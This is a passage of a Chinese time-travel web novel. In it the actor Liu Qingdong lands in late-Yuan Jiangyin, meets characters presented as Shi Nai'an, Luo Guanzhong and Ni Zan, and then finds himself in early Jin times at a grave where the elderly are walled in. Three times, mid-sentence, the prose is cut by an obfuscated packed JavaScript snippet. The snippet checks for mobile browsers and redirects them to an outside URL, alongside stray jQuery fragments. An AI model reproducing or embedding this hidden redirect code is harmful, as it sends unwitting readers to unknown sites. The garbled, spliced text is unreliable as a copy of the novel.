刘庆东感到不对劲呀,这手台只能一个人讲话,别人只有听着的份,正可谓单口相声,这咋还成对口了呢?突然间,他看到一只脚向他踢来,不是他躲得快,直接踢到自己的面门上。 “天啊!腿咋这么老长啊?这得多高的个儿呀?打篮球的郑海霞的腿也没她长啊。”刘庆东瞅着荡在空中的大长腿惊呆了,他抬头向房梁上望去,哎呀妈呀,那上面坐着两个妖怪,一个少了一条腿,一个舌头伸出来有半米长,“啊!女鬼。” 他的惊叫声让缺腿的不乐意了,“吓了我一跳!多事,踢翻你。”于是那只荡在空中的大脚又向其踢来。 刘庆东本能地向后躲避,却连人带椅子来了个底朝天,双锤道具就在身边,情急之下抓起来充当武器。还没等他挥舞抵挡,第二脚又到了。 “袅袅,别伤他!我咋看他长的像木大官呢?你看那对大锤!”吊死鬼的阻拦太晚了,刘庆东已经被卷到半空里啦。 他只感到强大的吸力左右着自己,眼瞧着身体急剧地下沉,下沉,在一条忽明忽暗的隧道里驰骋穿行。他紧紧握住锤柄,怕一松手道具就飞了,可咋向袁导交代呀?这样惊心动魄地飞了一段,欻地从通道之中破雾而出,只感到眼前一亮,“啪”的一声摔在地上,紧接着身子猛烈地左右摇摆起来,晃得没着没落的,像是掉进了婴儿的悠车里。 17. 招摇过市 “萨宁?”有人大喊一声,颤抖的声音里流露出忐忑不安,接着是叽里呱啦又嚷嚷了一气,“嫩个洗干菜,一要吃生活?”刘庆东一句话也没听懂,但从语调上认定他是南方人。 落到地上并无大碍,好似由高至低坐水滑梯一般,他松开握着双锤的手,支撑着抬起上半身去看谁在喊,此刻身下的晃动明显减弱了。 “哎呦喂,鞑子!鞑子兵!不要动啊!嫩要是轻举妄动,信不信俄戳死嫩?嘿嘿,若不是俄从小跟爹爹划船渡人,练就这水上漂的本事,险些被嫩荡到水里去哇。”那人不再用方言讲话了,应该是意识到对方是北方人。 刘庆东看清了,原来是位六十多岁的老船夫,头戴斗笠,身披蓑衣,手里持着长长的竹篙,正严阵以待做刺杀状。“咋又穿越啦!幸好落到船上,偏一点儿就掉进水里啦。看他的衣服样式,还是古代人,八成是明朝的吧?” 刘庆东根据此人的穿戴,和对自己的称呼,鞑子,不是有“八月十五中秋节吃月饼杀鞑子”的民间故事嘛,略有历史知识的他猜测着,难道穿越到元末明初啦? “我不是鞑子,我是汉人,我是好人,是老百姓。” 可对方不信,“哈士八道,嫩明明穿着北方鞑子的军服,从桥上跳下来的。俄晓得来,嫩是王保保的探子。” 说自己是从桥上跳下来的,可不是,就在离船尾不远处,有座拱形石桥横跨在不宽的水面上。江南水乡河道纵横,塘溪密布,水乡泽国少不了各式的桥梁。 读过元史的刘庆东知道,王保保是元朝末年的将领,蒙古名字叫扩廓帖木儿,因为镇压红巾军有功,元顺帝下诏封他为河南王,朱元璋誉其为“天下奇男子”。 “我不是探子,我是戏子,是演金国木蝉子的戏子,这衣服是演戏的行头。”他知道古代没有演员一说,都称为戏子。 老船夫将信将疑地瞅着他,手中的竿子丝毫没有放下的意思,“金国的木蝉子?俄听罗本说过,给是镇国老活佛普风的大徒弟,那是给噶编出来的呀,是假的哇。” “对呀,我是演他的,是假的,戏里的角色。你看我这身行头,还有这两柄大锤,谁能拿动这么大的家伙呀?也是假的,泡沫做的。我有急事要去办,一着急就跳下来了。”为了证明自己说的不是假话,他把一只锤子递给老人看。 那位拿在手里噗嗤笑了,“天呐,这么轻,结棍个,俄晓得嫩是戏子了,站起来。” 老船夫重新撑船前行,“嫰是唱丑角的吧?只能说白了。要是末本,哪怕是副末,也能给俄唱上一段。前面俄就要到东林庵了,送嫩到筑塘桥头,那里是个市集,雇船多,嫩再找条船好啦,可别一来兴跳到人家船上哇。” 刘庆东对他的提醒表示感谢,多亏有人家的船,否则现在已成落汤鸡了,还把老人吓了一跳,实在是过意不去。反正自己也不知道要去哪里,等着船停了,上岸再说吧。 “老哥,我是外地人,初次来贵宝地。请问,这里是什么地方啊?” “岗阴,这条河叫八字河,嫩刚跳下来的桥是新塘桥,再往前走就是夏河啦。”船工认定他是从桥上跳下来的了。 越往前走,白墙墨瓦的房屋渐渐多了起来,交相错落,大多枕水而筑,临水开门开窗,有些妇女蹲在入水的石阶上淘米洗菜。木格窗子下栽有花草,裸漏出来的灰墙受潮转成古朴的霉色,支撑的木桩子浸在水里却安然无恙。 一曲悠扬婉转的吴侬软语从河边酒舍里传出来,伴着浑厚的三弦节拍飘扬在河道上,“月落乌敌啊,霜某天,江枫呃,渔候,对熟眠。沟收,深外,寒山日,夜泊钟那声,到啊客除。”太好听了,吐字发音像江南的评弹,这韵味骨头都酥了。 刘庆东注意到,不管是左岸,还是右岸,熙熙攘攘的行人大多迎面而来,像是刚刚放映完毕的电影院散了场。 “集市散了哇,筑塘集市可是岗阴这一带首屈一指的大集市呦,呒不闲话说。”老人骄傲地夸赞着。 “是散集啦,要不怎么都往这边走呢。”刘庆东听他说这里是岗阴,应该是个镇名吧?不知属于哪个县,哪个市。江浙的市名耳熟能详的,杭州、苏州、泰州、南京、镇江、常熟等等。 船到一座石桥边,船夫泊岸停稳了,于是让刘庆东上去,又热情地为他指明雇船的位置,这才撑起竹篙向北拐进一条河岔里。 刘庆东漫无目的地走着,身边的路人都向他投来错愕的目光,不完全是他的番邦打扮,更是对那两柄大锤瞠目结舌。他不是第一次穿越了,倒是没有什么局促不安的。眼下具体是什么朝代?刚才忘了询问啦。 突然,从街边棚子下窜出个老婆子,似疯癫般指着他的头顶又喊又笑,嘴里重复着听不懂的方言,里面隐约夹带着“观音菩萨”的字眼。刘庆东不想被她纠缠,快走几步将其甩开。 前面是座大庙,建在河湾边上,青烟缭绕,雾气昭昭,虔诚的香客络绎不绝,看来在此地颇有盛名。他看见庙门的匾额上刻着“关王庙”的名头,原来供奉着义薄云天的关二爷呀。关王庙为什么不叫关帝庙呢?瞬间他便想明白了,关羽被封为关帝是明末的事儿呢,此时还未迎来荣誉的顶峰呢。他向路人打听当今皇上是谁,是何年号,可问了两个均是语言不通,鸡鸭不能同语。 他感到口渴,四下去看庙门旁有处茶摊子,竹炉火焰正旺,从铜瓶嘴里呼呼冒着热气。吃茶是要付钱的,可自己哪有银两啊?只好硬着头皮去讨杯白水喝吧。 摊主看到他也是一惊,张大嘴巴呆呆地盯着他,刘庆东又重复了一遍要讨水喝,告之囊中羞涩没带钱。那位这才反应过来,像只要抱窝的母鸡连声说着“勿碍各,勿碍各”,拉开凳子请他入座,随即快步去竹炉前倒水,用带有托盘的瓷碗送过来。茶客们同样对他颇感兴趣,目光皆关注那对放在桌边的大锤。 “伙计,请问眼下是何朝代?皇帝是何人?什么年号啊?”刘庆东总想知道所处的具体年份。 还好,对方见多识广听懂其提问,眨巴着狐疑的眼睛回答他,“客官,眼下乱的很,按理说是元朝至正二十七年啊,皇帝乃孛儿只斤·妥懽帖睦尔。可我们这里是西吴的地盘,城里的吴良将军不让用,要用龙凤记年,去年记到十二年,如今又改啦,从年初起用吴元年了。要是东吴兵打过来,还得说至正年号,否则要杀头的。” 原来自己穿越到了元末,刘庆东知道至正是元顺帝的年号。至于什么东吴、西吴,还真没听说过。应该是割据的豪强吧,他们打来打去,这里是两股势力犬牙交错的交战区喽。 就听身边有人在交谈,“看这对大锤子,赶上李元霸的啦。老师,您的《江湖豪客传》里使什么兵器的都有,怎么不安排个使锤的?那样更能烘托气氛啊。” “呵呵,就我这堆人里,你让谁使锤呀?倒拔垂杨柳的鲁智深,他是有力气,可是个和尚,用禅杖更适合他的身份。让打虎英雄武松,他是道士,应该拿戒刀,拿着大锤四处游方,早就露馅了。还是五虎将啊?关胜是关羽的后裔,只能用青龙偃月刀,而呼延灼只能用双鞭,林冲也只能用丈八蛇矛枪,另两个没有那么威猛。纵观他们这伙人,宋江一心想招安,畏畏缩缩,根本没有睥睨天下的气势,将熊熊一窝,所以没人配使用铁锤的。你那《三国志通俗演义》中使锤的也不多呀?有几个也是打边鼓的。使锤出彩的一定要力大无比,没有四象之力,也得有五牛之力。” 刘庆东只是顺耳一听,根本没侧目去看,听清交谈的是师徒关系,师徒二人还会写小说呢。也没啥名气啊!什么豪客传、通俗演义?还弄了鲁智深、武松、关胜在里面,不会是抄袭人家《水浒传》的情节吧?他晓得历史名著不是一挥而就的,都是在前人的基础上升华出来的,就像吴承恩的《西游记》,在他成书之前不知有多少版本呢,而他写的是最博人眼球脍炙人口的。 “英雄,英雄,若是不弃,请借 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853051|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步吃盏茶嘛。” 叫谁英雄呢?是跟我说话吗?刘庆东闻声去看,原来是邻桌的老爷子热情相邀道。看这位古稀老人白静无须,鹤发童颜,背不躬,腰不弯,慈眉善目,举止雍容尔雅,颇具大家风范。 与其同桌的两个人皆是儒雅之士,穿戴得体,仪表端庄。年纪大些的四十岁光景,锦衣玉佩,臃肿富态,看上去像个乡间的大财主;年轻几岁的中年人一袭文人打扮,相貌俊朗,天庭饱满、额头圆润,和蔼可亲,目光深邃,颔下三缕黑须潇潇洒洒。 刘庆东刚喝了一盏水下去,肚子里咕噜咕噜饿劲儿又上来了,他见那桌有几碟糕点,便情不自禁地拎起大锤应邀落座。 “茶博士,上一盏茶来。”老爷子吩咐伙计上茶,随即恭维起刘庆东来,“都说关羽的青龙偃月刀重八十二斤,英雄,我看你的兵器也不比他差呀,以你这臂力,在当今寰宇之内可以说无人能及啊。你是西吴王的部下,还是东吴王的麾下呀?” “不瞒老人家,我初来乍到,不知你们这里的东西吴王是谁呀?” 三个人都用怪异的目光看着他,“难道你是刚刚从漠北来的吗?东吴王是蒙元的张士诚,西吴王是韩宋的朱元璋啊。”财主以为他是从远方部落里征调来的,对江南的事情懵懂无知呢。 这两个人是赫赫有名啊,一个是大周的皇帝,可惜后来投降了元朝;一个是大明的创建者。哦,此时的朱元璋只是韩宋皇帝小明王韩林儿的部下呀。 “东西吴王都不知道?我还以为你是从平江城逃出来的呢,原来不是呀。哎,也不知道那里的战势如何了?”老人很是失望地说。 “我是戏子。”刘庆东把对船夫讲的又说了一遍,还把大锤拿给他们看。财主摆弄着道具,似恍然大悟完全相信了。可另两个人还是诡秘地微笑,那意思是说你骗得了谁呀? 中年人和声悦色地问他,“你演的是丑角喽?唱过什么曲牌呀?《摸鱼儿》、《水调歌头》、还是《满江红》、《卧龙吟》啊?” 对方所说的一定是元曲的曲牌名,刘庆东哪会知道呀,只记得关汉卿、马致远,还有课本里学的“喇叭,唢呐,曲儿小,腔儿大,官船来往乱如麻,全仗你抬身价”,至于其他的一概不知。为敷衍过去只能说自己都演过。那位听罢只是会心一笑,冲着老年人微微摇了摇头。 这时,茶摊伙计将茶水送上来,这哪儿是茶水呀!应该叫做稀粥,浓浓稠稠的一盏。知识广泛的刘庆东马上接受了,从古至今制茶大体分为三个阶段唐煎、宋点、明泡,原来元末喝的还是茶饼啊,也对,据文献记载,明太祖朱元璋体察民情,为了减轻百姓的负担,下令贡茶改制废除“龙团凤饼”之类的紧压茶,才有了后来的泡散茶瀹饮法。他喝上一口,咋是咸的?里面一定放盐了。 “你是要过江去吧?不要瞒我,你即知晓东吴王,又知道西吴王,怎么会不知道呢?你是王保保派来援助张士诚的,被徐达、常遇春打败了。看你这整齐的衣服,或许根本没交手就逃啦。可你不该这么堂而皇之地走在大街上,怎么也得伪装伪装吧?这里是江阴,朱元璋手下大将吴良就驻守在城里,四下都有耳目,你拎着这对巨锤招摇过市,必将引起他们的注意,不多时便会派人来拿你。吴良可是个厉害角色,坚守这江阴十几年,固若金汤。使张士诚的水军不敢溯流而上,登镇江之金山、焦山,断了张士诚的西侵之路。你若落入此人之手,绝没有好果子吃。” 刘庆东还想解释自己不是,可中年人低声打断他,“不要狡辩了,我老师说的不会错的,你就是北方来的元兵,根本不是戏子。曲牌子你是一窍不通啊,这方面我最有发言权喽。湖海散人的名头不是白叫的,浪迹杭州十余载,净跟着说唱艺人为伍啦。再告诉你,《满江红》与《卧龙吟》其实是一个曲两个名,是一回事,可你却不知道。” 这几句话说得刘庆东手脚冰凉,汗毛孔冒虚汗,当即起身要脱离这是非之地。 18. 茶摊偶遇 “子安!不要走。”有人打远处连跑带颠地赶来。 刘庆东回头去看,来人是一老一少,老的六十几岁,纶巾罩头,衣着极其的讲究,干干净净一尘不染,像用高岭土烧出来的白瓷像。老者的状态并不太好,肤色白得出奇,似患有贫血病症。他本来四肢无力跑不快的,可心中着急不管不顾了,全仗身边的青年人搀扶着他,否则一不留神小石子都能绊倒喽。 “是泰宇啊,别急!慢走,我不走。徐麟,你可要扶好倪爷爷呀。”老爷子急忙起身招呼着,直到老者来到桌前方才放心,“老弟,看你的面色不佳啊,身子这么虚,没让夏颧给你瞧瞧啊?” 老者掏出块精致的手帕,在凳面上来回地掸了掸,这才安心坐下。跟来的男孩子毕恭毕敬地侍立一旁。刘庆东见他相貌端正,鼻直口方,骨子里透着股书卷气。可能是在长辈面前的缘故,年轻人规规矩矩不苟言笑。 伙计来问是否要上茶,那银发老人摆手说不用,“我们这位倪大画家是不在外面吃东西的。” 老者发现同桌的刘庆东,不觉愣了一下,想来能坐在一起,一定是相熟之人喽。便毫无顾忌的回答道:“老哥呀,这半年以来感觉不好,肋下常有痛感,四肢无力,不爱吃东西。夏颧给我看了,说是仓廪之官出了毛病。先不要说我啦,我先去了梧滕里,见你们不在,麟儿说来赶集了,于是便来迎你们,我着急找你们是要打听战势。” 老爷子闻听此言便笑了,“我们跟你一样的乡下人,哪会知道张士诚与朱元璋打成啥样了?” “你们不知道谁会知道?老哥眼下虽然屈身在东林庵做教书先生,可和罗本曾是张士诚帐下的谋士,人脉甚广,你表弟卞元亨又曾做过东吴的主帅,前方的战势怎会不清楚呢?” 老爷子摇头否定,“非也,自从东吴王投降了鞑子,我们几个便弃他而去,元亨回了便仓老家。我来他徐大户家讨个吃饭的地儿,教孩子们读书。” “老先生取笑我了,我徐直能请您来教授麟儿,是我徐家的荣耀。”财主拱手谦虚地说,“我听家里的管家说,好像情况对东吴不利呀,张士诚已经退守平江城了。你们没发现呀?这几天我们这里消停多啦。” “是嘛?”老者露出欣喜之色,“姓张的那两个狗东西不得人心,是汉奸,是无赖。张士信听说我的画画得好,便派人送来绫罗绸缎,以重金作为谢礼,要我的一幅画。我从来不做王侯权贵人家的画师,立即把绸缎撕破,把钱退了回去。可冤家路窄,一天我正在游太湖,这两个狗东西也在湖上花天酒地地胡搞。张士信看见了我,竟然要报复砍我的头,他的那些文臣晓得我的名望,劝住了他。张士信是个狼心狗肺的家伙,他岂能善罢甘休?便命令身边的随从鞭打我,当众羞辱我。我咬紧牙关一声未吭。” 徐财主不解地问:“倪瓒先生,您被他殴打羞辱,为何一声不吭呢?” 老者仰着头颇有志气地说:“一出声就俗气了。” “泰宇啊,你这么急着找我们了解战势,到底是为了什么呀?”私塾先生感到很纳闷。 “太闷啦,我要去玩山玩水,四处走走。这兵荒马乱的哪年是个头啊?东吴西吴兵戎相见,你来我往,我躲在家里,这身板都呆出病啦。”老者苦闷地抱怨道,“我不来问你们,我去问谁呀?问街上的行人,人家也得搭理我呀。喂!骑马的汉子,你知道平江城打得咋样啦?” 不曾想,他这漫无目的地乱喊,还真把位骑马的壮汉招呼过来了。 “我是开玩笑呢,老弟,别当真啊。”惹事的老者赶忙起身赔礼。 从面相上看,这位年近四旬,长的虎背熊腰,修眉宽颐,高鼻阔口,是个威风凛凛的美男子。不用从他腰间的佩剑上判断,依据其厚重有力的步伐,就知道此人是个武艺高强的练家子。 壮汉没有理会俯身致歉的倪瓒,径直走到桌子跟前,向老爷子揖礼道:“表哥,你近来可好啊,小弟给你行礼啦。罗本也在呀?你啥时候从太原回来的?” 中年人亲近地答复他,“卞帅,我是去年回到杭州,上个月来看望老师的。” 被称作表哥的老爷子关切地问,“元亨,你怎么来了?有什么事吗?” 那汉子并不急于说明,从旁边抓过个凳子,大大咧咧地蹁腿坐下,向伙计招呼着上茶,“渴死我了,我一气跑出几十里地,没歇过脚。本打算顺道去东林庵看望你,却在这里遇见了。若不是这位老哥喊住我,还真要擦肩而过了呢。”他注意到了不声不响的刘庆东,疑惑地瞅向表哥,“这位是谁?是平江城逃出来的元兵吗?” 老爷子对刘庆东笑着说,“怎么样?都看出来你是逃兵了吧?还一口咬定是戏子呢。不等你走出这江阴地界,必定被西吴军捉了去。” “你不要隐瞒了,快告诉我平江城的实情,平江是不是被徐达攻陷啦?张士信的确是被飞石砸死了吗?张士诚被徐达俘虏了吗?两位小公子被送到哪里去啦?” 壮汉一连串的提问让刘庆东不知如何回答,我上哪儿知道这些事情啊!只会摇头摆手说不知情。可人家不信,伸出手使劲抓住其衣襟。 “看他的眼神不会撒谎,他只是个小兵,也许真不知道你问的事情。”姓罗的中年人拦住情绪激动的汉子。 “张士信被砸死啦?该!报应啊。看他还欺压百姓、飞扬跋扈不?”在别人对东吴的战败唏嘘不已之际,倪瓒却大呼解气,幸灾乐祸地拍手称快,“这下好啦,就此太平了,我又可以闲云野鹤地出行喽,百姓们也不用受刀兵之苦啦。老哥哥,怎么看你不太高兴呢?” 被问及的老爷子只顾唉声叹气,一副怅然若失的样子。 老者似感同身受地理解他,“张士诚兵败是他咎由自取,这个人刚愎自用,不听老哥哥的良言相劝,你让他缓称王,他非得自封诚王,建立大周。你看看人家朱元璋,就听了刘基之计,养精蓄锐,不像他锋芒毕露,不知天高地厚。” “是朱升献的计,不是伯温说的。”老人更正他,然后重振精神对表弟说,“元亨啊,你要去找小公子吗?路上可要小心呀,平江失陷,东吴大势已去,朱元璋腾出手来必将剪出异己,我们这些与确卿有瓜葛的人可要遭殃了,你要早做提防啊。” 壮汉点头称是,他接过送上的茶盏,吹了吹氤氲便一口饮了,便告辞上马扬鞭往东边去了。 “老哥哥,他就是卞元亨啊,你的表弟相貌堂堂,一表人才呀。”倪瓒望着卞元亨远去的背影是赞不绝口。 对于朋友的夸奖,老爷子满是骄傲地说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853052|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “元亨还是文武全才呢,他不仅会做买卖,诗词音律样样精通,还是武举人,膂力过人,能举千斤,曾经一脚踢死过老虎。我那小说里的打虎英雄就是根据他想出来的。” 老人家招呼着要回东林庵,说事态紧急要早做些准备,也邀上刘庆东同行,可怜他也是一条性命,虽是任人摆布的“鱼肉”,也不能白白让“刀俎”宰割,出于善意准备派船送其过江。 徐财主让年轻人扶老者回去,一定要送到家里。老者未走出多远似猛然想起什么,回头喊道:“徐直啊,麟儿这孩子不错,眉宇间灵气飞扬,异日必能乘长风破巨浪。他快到弱冠之年了吧?我给他取个字,就叫本中吧。”对方是连连道谢。 刘庆东是知道好歹的人,感谢人家的好意,在这世面上乱走,极有可能被朱元璋的手下抓了去,便跟着老人家回其住所,再听从安排脱离这虎狼之地吧。 他们一行人往北边去,路的右侧是一条蜿蜒的小河,水流潺潺,芦草正丰,时有渔翁在岸边垂钓。看得出这叫徐直的大财主在此地颇有威望,每每遇见行人都会对他毕恭毕敬地施礼问好。 一路之上师徒二人没有闲着,刘庆东听他们在唠靖康之耻的事儿,弟子问为什么没有武艺高强的英雄豪杰去营救呢?老师不确定地讲,曾经听说有高人去救过,却没能得手,浪子燕青和锦豹子杨林就是其中之一,这样的好汉还有很多。 走出三里地的光景,便来到了一座庵堂,刘庆东看到门首上刻着“东林庵”的名头。 进了大门,是由神殿改成的私塾学堂,老人家便问徐直,“我见你这庵里有木鱼木槌,为何像宝贝一样珍藏呢?” 徐财主回答他,“这庵里原先住着一位老和尚,他念经拜佛用心极诚,一边念经一边敲木鱼。”说着他用手指着条案上木鱼的凹陷,“你看,想让孩子们懂得,读书,做学问就是要专心致志。” 老爷子听了连连点头,对弟子坦言道:“罗本,徐直是有心人啊,言传不如身教,发挥榜样的作用,我施耳在这方面不如他呀。是啊,我们无论干什么事,都要有这种锲而不舍的精神才行啊!”说罢,来到书桌前提笔写了“耐庵”两个字,让书童贴到大门的门楣上去。 “啥?施耐庵!”刘庆东听说他姓施,又写出耐庵两个字,不禁联系到一起,恍然大悟这位七旬老人原来是文学巨匠啊! 他的惊呼老人听得真切,“啥,你喊什么?施耐庵!咦,罗本啊,我本想用‘耐庵’二字告诫自己要排除一切困难,写好小说,经他提醒觉得这个做别号也很好嘛,我决定以后就用这个啦。”弟子也说新起的别号很雅致,值得一用。 刘庆东暗想,老师是施耐庵,这叫做罗本的徒弟不会是别人,一定是罗贯中喽。 “你是罗贯中?” 对于刘庆东的疑问,中年文人狐疑地看着他,“是呀,贯中是我的字。你是在东吴军营里知道的吧?我曾做过东吴王的谋士,多少年了,没想到那里还有些老朋友记得我呀。” “阿大!俄回来喽。”恰在这时从后堂走出个老头子,冲着施老爷子大声喊着,他突然发现面前的刘庆东,“哎呦喂,怎么是嫩?咋,嫩没雇船走哇?” 刘庆东定睛一看,这么巧吗?原来是那个热心的船夫。 19. 瓦罐坟 刘庆东把前后经过说与船夫,挑明了说自己是未来穿越来的,这身行头是拍摄用的道具。在场的其他人哪个能信啊?尤其是施老爷子怀疑他是在战场上被吓懵了,凭空臆想胡言乱语呢。 船夫没工夫儿去掰扯这些,看是很急的样子,把一封信交给老爷子,“老大,俄去昭阳把信送到了,这是顾逖回复嫩的。” 施耐庵的脸色瞬间严肃起来,他接过信札打开来看,嘟嘟囔囔念出声来,“君自江南来问津,相送一笑旧同寅。此间不是桃源境,何处桃源好避秦。好啊,思邈邀请我去他那里啦。”他看罢笑容满面,心情大好,长舒一口气,似一块石头落了地,随手把信递给徒弟。 “施先生,你要去昭阳吗?是去探望朋友啊?”财主疑惑地问。 看完信的老人非常兴奋,“我要去避难,自古昭阳好避兵,那里地方偏僻,四周环水,交通不便。我这大周的进士,张士诚的军师,再留在人家眼皮子底下,不是自找倒霉吗?我前几日让三弟彦才去给顾老弟送信,说我有意去他那里暂避一时,并附诗一首,年荒世乱走天涯,寻得阳山好住家。愿辟草莱多种树,莫教李子结如瓜。还是老相识呀,有交情,讲义气,立马便邀我过去啦。” 弟子拿着信问老师何时启程,“平江已破,事不宜迟。贯中,我和申氏,还有三弟,咱们四个一同北上,你们先去整理行李。我要写封信给二弟彦明,让他留在苏州原籍,把老家看好喽。” 徐直还想挽留,可听老人讲的颇有道理,只好叮嘱他们多加小心,万一之时再回江阴来,并要回府中为他们准备路上应用之物。 “老三,你先辛苦一趟。”老爷子叫住弟弟,指着刘庆东对他说,“用船把这位朋友送过江去,他也是天涯沦落人啊,走之前给他带些干粮,江北元军内部都打成一锅粥啦。” 从东林庵出来,到河边上了船,随流而下,经过两座石桥便望见筑塘桥了,向东拐,沿着来时的水道往八字河去,船头还未摆正就听岸上有人又喊又叫,重复着听不懂的方言,里面隐约夹带着“观音菩萨”的字眼。 刘庆东瞩目去看,辨出是那个疯癫的老婆子,正带着一小队官兵指向自己,那些兵士手里持着刀枪,气势汹汹地喝令停船,若是没有这一汪河水,早就扑上来将他生擒活捉啦。 “朋友,嫩咋得罪了那个妖婆子啦?给是俄噶这里的师婆,惹了给很麻烦的。给看到嫩头上有观音菩萨,说嫩这鞑子一准盗走了补陀洛迦山的宝贝。” 船夫不敢怠慢,使出全力撑船向前,可还得避让河上来往的船只,再加上年老力亏,比不过岸上兵士的双腿。 “停下,再跑就放箭啦!”领队的小头头厉声威胁道,他可不是说说而已呀,已经挽弓搭箭瞄准待发了。 还好,前面是座石桥,刘庆东记得好像叫新塘桥,就是船夫赖自己从上面跳下来的那座。在这危机时刻,石桥正好能遮挡飞镝,船夫顾不得许多了,撑着小船似箭打的一般向桥下钻了进去。 “咣当”,一声巨响。刘庆东感到自己一下子飞了起来,他听到划船的船夫在喊,“咋开的船?把人撞飞啦!快救人啊,有人掉进水里啦。” “哈士八道,哪有人掉进水里啦?就嫩一个嘛。” 原来小船在桥洞子里肇事了,与对面划来的船只撞了个正着,巨大的冲击力将他甩到天上。 再说飞在半空中的刘庆东,只感到强大的吸力左右着自己,眼瞧着身体急剧地下沉,下沉,在一条忽明忽暗的隧道里驰骋穿行。他紧紧抓住锤柄,怕一松手道具就飞了,可咋向导演交代呀?这样惊心动魄地飞了一段,欻地从通道之中破雾而出,只感到眼前一亮,“啪”的一声落在地上。还好,就像从床上掉下来的,只是膝盖擦破点儿皮,两只大锤仍然握在手里。 “穿越回来了?”凭着以往的经验,应该是返回现代啦。可当他坐起身来,却见周围是杂草丛生、青山环抱,并没有回到民宿,而是身处荒山野岭之间。 他心里一凉,“这是哪儿呀?咋到大山里啦?眼下生态环境改善了,狼虫虎豹泛滥,前几天吉林还发生老虎伤人的事件呢。即便没有老虎,来只野猪也够自己喝一壶的。” 眼见天色不早了,得趁亮走出山林,他向远处望去,隐约那里的山崖下有一片窑洞,似乎是个小村子。是黄土高坡?他去过陕北,这里的房子跟那里的有些相像。他拿定主意,先去老乡家打听打听道儿吧。 待他走近了,才发现不对劲儿呀。不应该是大西北,视力所及之处全是黑土地。村子里咋这么冷清呢?死气沉沉的,连一个人,乃至鸡鸣狗吠之声都没有。这窑洞非常的狭小简陋,洞门用砖石封死啦,整个村落似被人废弃了,还怕外人来住有意而为之。 “爷爷!您出来呀!我不让爷爷死。”不远处传来孩子的哭叫声。 刘庆东寻声走过去,见个十多岁的孩子冲着窑洞里喊,“咋洞里有人?”再看那孩子满脸是泪,用手拍打着封门的砖墙。 “虎儿,别哭!别把手拍破啦,快回家去。”里面传出苍老的男声。 刘庆东仔细去看,窑门顶部还有三四块砖那么大的窟窿没被封死。“这是怎么回事啊?”好奇心让他过去看个究竟。 他的出现吓到了孩子,旋即转过身胆怯地呆在原地,一句话也不说,眼睛直勾勾地盯着来人。刘庆东见他穿着棉布袍子,戴着皮帽子,不像是可哪儿瞎疯的野孩子。可问了他几遍也不出声,对陌生人的提防心很强嘞,看来只好问里面的老人啦。 “里面是孩子的爷爷吧?”他向窑洞里喊着。 “官爷,小人是他的爷爷,这是我孙子,虎儿。” 刘庆东又问老人,是谁把他封在里面的?这个村子叫什么名字?其他的村民都到哪里去了呀? 对方长叹一声,“哪儿有村子呀?这里是坟茔地,每个瓦罐坟里都有一具尸体。他们能上哪儿去?都老老实实地躺在里面呢。” 瓦罐坟!刘庆东想起来了,老村长讲过的,那是种陋葬。人到六十岁就被送到山上,送到洞里,用砖石封住洞口,老人在里面被活活饿死。咋地,今天被我遇到啦?他心里猛然一颤,眼下是古代!自己并没有返回现代去?因为这种风俗早就被废止啦。 “老哥,时下是啥朝代?皇上是谁呀?”刘庆东心急地问老人。 老爷子扒着窟窿回答他,“是大金国,皇帝是完颜晟,女真名叫吴乞买,几年前他二哥太祖完颜阿骨打驾崩了,他继承了皇位。” 啊!咋又穿越到宋金之际啦?越穿越远了。之前每回只穿越一个地方,这咋还双棒呢。大金,完颜阿骨打,那是金国建国初期呀,靖康耻发生了没有啊? “官爷呀,听你的口音像是中原人啊,不像这些金人说话那么侉。我家原本是沧州的木匠,前年被他们掳来,就在王河边上住。官爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853053|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,别为我费心啦,麻烦你把虎儿带走,让我自生自灭吧。” “啥话!自生自灭能行吗?咋能这样对待老年人呢?遗弃父母丧天良啊!老哥,你这么死也太窝囊啦。”刘庆东气愤地嚷着。 洞里的老头子口打唉声,“都这样啊,人到六十就送上山喽,大家都送,你不送,别说官府,就是乡亲四邻也不让啊。” 刘庆东听他这么说,气不打一处来,“是谁定的规矩?我还不信那个邪啦。” “伯伯,您救救我爷爷吧。”小孩子一下子跪到刘庆东的面前,仰着小脸苦苦哀求道。 无助的哭声让刘庆东的心都要碎了,“孩子,你起来,这件事儿我管啦。走,咱找根木杆子去,把这堵墙凿开,把你爷爷救出来。” 老人闻听赶紧阻止道:“使不得呀!官爷,我不死会给我儿子惹麻烦的。” “你都这样了,还想着你儿子。”刘庆东嘲笑他的懦弱,“凭什么人到六十就得去死呀?孔子活到七十三,孟子八十四,咋没把他们送进瓦罐坟呢?难道你们的生活太窘迫啦?” 